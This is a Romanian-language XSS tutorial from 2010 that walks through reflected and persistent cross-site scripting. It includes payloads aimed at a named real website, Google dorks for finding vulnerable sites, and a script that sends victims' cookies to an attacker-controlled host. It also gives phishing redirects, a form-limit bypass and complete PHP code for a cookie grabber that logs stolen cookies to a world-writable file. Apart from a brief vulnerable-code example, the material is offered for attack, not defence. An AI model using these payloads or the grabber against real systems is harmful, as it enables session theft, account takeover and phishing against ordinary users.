Despre XSS Autor: Synthesis Data: 19 mai 2010 Acest articol este munca a doua ore si un bax de Becks. Cuprins: [1] Ce este XSS? [2] Tipuri de XSS [2.1] XSS nepersistent [2.2] XSS persistent [3] Cum se exploateaza un XSS? [3.1] Furtul de prajiturele [3.2] Redirectionarea catre alta pagina [3.3] Trecerea de filtrele de securitate [4] Cum se creeaza un cookie grabber? Cerinte: Cunostinte HTML Cunostinte JavaScript Cunostinte PHP 1. Ce este XSS? XSS (Cross Site Scripting) este o vulnerabilitate foarte intalnita in aplicatiile web ce permite utilizatorilor sa injecteze cod javascript in pagini web ce pot fi vizualizate de ceilalti. Cu ajutorul acestor coduri javascript se pot fura cookie-uri, se pot trece de filtrele de securitate, se pot face redirectionari catre alte pagini web pentru phishing. Vom vorbi despre toate acestea pe parcursul articolului. Vulnerabilitatile de tip XSS sunt exploatate inca din anii '90. Timp de 20 de ani, acest atac a afectat multe site-uri mari precum Google, Yahoo!, hi5, Facebook, MySpace, Tagged s.a. 2. Tipuri de XSS Exista doua tipuri de Cross Site Scripting. [2.1] XSS nepersistent In primul rand este XSS-ul nepersistent (sau reflectat), ce se foloseste in formularele de tip HTML (HTML forms). Spre exemplu, luam site-ul First Bike. Vom observa in partea dreapta sus o casuta de cautare. Sa scriem spre exemplu cuvantul test. URL-ul va fi de genul urmator : http://firstbike.ro/cauta.php?src=test Bun, deci cautarea se face prin GET. In loc de test vom adauga un cod javascript simplu, si anume alert. http://firstbike.ro/cauta.php?src=<script>alert('xss')</script> Browserul va arata o casuta in care scrie xss. Acum, in loc de 'xss' vom pune document.cookie. Acesta este defapt cookie-ul tau de pe site. http://firstbike.ro/cauta.php?src=<script>alert(document.cookie)</script> De aici, se poate crea un cookie grabber pentru a fura cookie-urile utilizatorilor. Vom vorbi despre asta putin mai tarziu in articol. [2.2] XSS persistent In al doilea rand este XSS-ul persistent (sau retinut), ce este mult mai rau decat XSS-ul reflectat. Acest tip de XSS este memorat in site si este accesibil oricarui utilizator. Cel mai frecvent am observat ca acest tip de XSS se regaseste in site-urile ce memoreaza ultimele cautari alte utilizatorilor. Puteti vedea aici un exemplu de XSS persistent. Pentru mai multe XSS-uri persistente cautati pe Google cu Google dorks: intext: cautari similare intext: cautari recente intext: ulitmele cautari intext: cautari referate intext: cautari muzica etc. 3. Cum se exploateaza un XSS? Cum apare un XSS? Un XSS apare din cauza nefiltrarii (sau filtrarii proaste) a codului. Aveti mai jos un exemplu de nefiltrare al XSS-ului <html> <head> <title>Vulnerabilitate XSS</title> </head> <body> <form action="index.php" method="get"> <input type="text" value="codul tau aici" name="cauta"> <input type="submit" value="cauta"> </form> <?php $get = $_GET['cauta']; echo $get; ?> Pentru a exploata un XSS, trebuie in primul rand sa ai notiunile de baza despre JavaScript. [3.1] Furtul de prajiturele XSS-ul este folosit in principal pentru a fura prajiturele (cookies). Pentru asta, se foloseste document.location sau window.location pentru a redirectiona victima catre un cookie grabber (despre care discutam imediat in articol). Codul este urmatorul: <script>document.location="http://www.siteultau.ro/grabber/index.php?cookie="+document.cookie;</script> [3.2] Redirectionarea catre alta pagina Codul este aproximativ la fel, doar ca nu mai folosim document.cookie. Acest cod este folosit deseori pentru furtul de date. <script>document.location="http://www.siteultau.ro/paginafalsa/index.php";</script> [3.3] Trecerea de filtrele de securitate Acest tip de XSS este scris de obicei in bara de adresa. Spre exemplu, daca avem un INPUT care are valoarea maxima de X caractere, putem folosi comanda urmatoare pentru a scrie cate caractere vrem: javascript:document.getElementsByTagName('form')[0].NAME.value = "textul tau aici"; void(0); [0] = index-ul NAME = NAME-ul input-ului (ex: <input type="text" name="rstcenter">) Prin acest JavaScript am dat de cateva XSS permanente in site-uri mari precum Yahoo! si hi5. 4. Cum se creeaza un cookie grabber? Am discutat anterior despre furtul cookie-urilor. Acum voi explica cum se face un simplu cookie grabber. In primul rand vom folosi functia $_GET pentru a prelua cookie-ul. <?php $c = $_GET['cookie']; ?> Aceasta functie va prelua orice text ce vine dupa cookie=. Spre exemplu, daca avem index.php?cookie=2dccd1ab3e03990aea77359831c85ca2, codul 2dccd1ab3e03990aea77359831c85ca2 va fi preluat in variabila $c. Il vom memora intr-un fisier .txt. <?php $c= $_GET['cookie'] . "\n"; $fisier = "prajiturele.txt"; $deschis = fopen($fisier, 'a'); fwrite($deschis, $c); fclose($deschis); ?> Pentru incepatori: 1. Fisierul prajiturele.txt se pune in acelasi director cu cookie grabber-ul. 2. Fisierul prajiturele.txt primeste CHMOD 777. Sper ca v-a ajutat acest mic tutorial!